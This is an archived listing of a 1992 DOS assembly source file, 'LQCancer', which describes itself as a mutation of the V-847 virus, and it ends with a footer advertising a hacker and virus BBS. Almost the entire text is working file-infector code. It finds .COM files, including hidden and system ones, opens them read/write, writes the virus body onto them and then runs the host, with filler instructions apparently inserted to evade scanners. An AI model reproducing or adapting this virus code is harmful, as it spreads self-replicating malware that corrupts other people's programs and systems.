home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / LQCANCER.ASM < prev    next >
Assembly Source File  |  1992-11-14  |  3KB  |  139 lines

  1.     page    ,132
  2.     name    LiquidCodeCANCER
  3.     title    LQCancer - a mutation of the V-847 virus
  4.     .radix    16
  5. code    segment
  6.     assume    cs:code,ds:code
  7.     org    100
  8.  
  9. olddta    equ    80
  10. virlen    equ    offset endcode - offset start
  11. smalcod equ    offset endcode - offset transf
  12. buffer    equ    offset endcode + 100
  13. newdta    equ    offset endcode + 10
  14. fname    =    newdta + 1E
  15. virlenx =    offset endcode - offset start
  16.  
  17. start:
  18.     jmp    cancer
  19.  
  20. ident    db    'LiquidCode<tm>'
  21. counter db    0
  22. allcom    db    '*.COM',0
  23. vleng    db    virlen
  24. n_10D    db    3        ;Unused
  25. progbeg dd    ?
  26. eof    dw    ?
  27. handle    dw    ?
  28.  
  29. cancer:
  30.     mov    ax,cs        ;Move program code
  31.     add    ax,1000     ; 64K bytes forward
  32.     mov    es,ax
  33.     inc    [counter]
  34.     mov    si,offset start
  35.     xor    di,di
  36.     mov    cx,virlen
  37.     rep    movsb
  38.  
  39.     mov    dx,newdta    ;Set new Disk Transfer Address
  40.     mov    ah,1A        ;Set DTA
  41.     mov     ah,ah ;****
  42.     int    21
  43.     mov     ah,ah ;****
  44.     mov    dx,offset allcom    ;Search for '*.COM' files
  45.     mov    cx,110b     ;Normal, Hidden or System
  46.     mov    ah,4E        ;Find First file
  47.     int    21
  48.     jc    done        ;Quit if none found
  49.  
  50. mainlp:
  51.     mov    dx,offset fname
  52.     mov    ax,3D02     ;Open file in Read/Write mode
  53.     int    21
  54.     mov    [handle],ax    ;Save handle
  55.     mov    bx,ax
  56.     push    es
  57.     pop    ds
  58.     mov    dx,buffer
  59.     mov    cx,0FFFF    ;Read all bytes
  60.     mov    ah,3F        ;Read from handle
  61.     int    21        ;Bytes read in AX
  62.     add    ax,buffer
  63.     mov    cs:[eof],ax    ;Save pointer to the end of file
  64.  
  65.     xor    cx,cx        ;Go to file beginning
  66.     mov    dx,cx
  67.     mov    bx,cs:[handle]
  68.     mov    ax,4200     ;LSEEK from the beginning of the file
  69.     int    21
  70.     jc    close        ;Leave this file if error occures
  71.  
  72.     mov    dx,0        ;Write the whole code (virus+file)
  73.     mov    cx,cs:[eof]    ; back onto the file
  74.     mov    bx,cs:[handle]
  75.     mov    ah,40        ;Write to handle
  76.     int    21
  77.  
  78. close:
  79.     mov    bx,cs:[handle]
  80.     mov    ah,3E        ;Close the file
  81.     int    21
  82.  
  83.     push    cs
  84.     pop    ds        ;Restore DS
  85.     mov    ah,4F        ;Find next matching file
  86.     mov    dx,newdta
  87.     int    21
  88.     jc    done        ;Exit if all found
  89.     jmp    mainlp        ;Otherwise loop again
  90.  
  91. done:
  92.     mov    dx,olddta    ;Restore old Disk Transfer Address
  93.     mov    ah,1A        ;Set DTA
  94.     int    21
  95.  
  96.     mov    si,offset transf    ;Move this part of code
  97.     mov    cx,smalcod    ;Code length
  98.     xor    di,di        ;Move to ES:0
  99.     rep    movsb        ;Do it
  100.  
  101.     xor    di,di        ;Clear DI
  102.     mov    word ptr cs:[progbeg],0
  103.     mov    word ptr cs:[progbeg+2],es    ;Point progbeg at program start
  104.     jmp    cs:[progbeg]    ;Jump at program start
  105.  
  106. transf:
  107.     push    ds
  108.     pop    es
  109.     mov    si,buffer+100
  110.     cmp    [counter],1
  111.     jne    skip
  112.     sub    si,200
  113. skip:
  114.     mov    di,offset start
  115.     mov     di,di ;****
  116.     mov     bx,0ffff ;****
  117.     mov    cx,bx     ;Restore original program's code
  118.     mov     ah,ah ;****
  119.     sub    cx,si
  120.     rep    movsb
  121.     mov    word ptr cs:[start],offset start
  122.     mov    word ptr cs:[start+2],ds
  123.     jmp    dword ptr cs:[start]    ;Jump to program start
  124. endcode label    byte
  125.  
  126.     int    20        ;Dummy program
  127.     int    20        ;???
  128.  
  129.     db    0        ;Unused
  130.  
  131. code    ends
  132.     end    start
  133. 
  134. ;  ─────────────────────────────────────────────────────────────────────────
  135. ;  ────────────────────> and Remember Don't Forget to Call <────────────────
  136. ;  ────────────> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <──────────
  137. ;  ─────────────────────────────────────────────────────────────────────────
  138.  
  139.